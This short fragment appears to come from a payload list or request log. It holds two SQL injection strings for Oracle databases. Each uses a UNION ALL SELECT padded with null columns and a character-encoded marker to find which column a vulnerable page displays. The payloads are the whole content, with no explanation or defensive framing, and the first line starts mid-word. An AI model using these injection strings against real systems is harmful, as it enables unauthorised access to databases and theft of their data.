s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(57)||chr(55)||chr(57)||chr(49)||chr(52),null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(57)||chr(55)||chr(57)||chr(49)||chr(52),null,null,null,null,null,null,null,null,null from dual--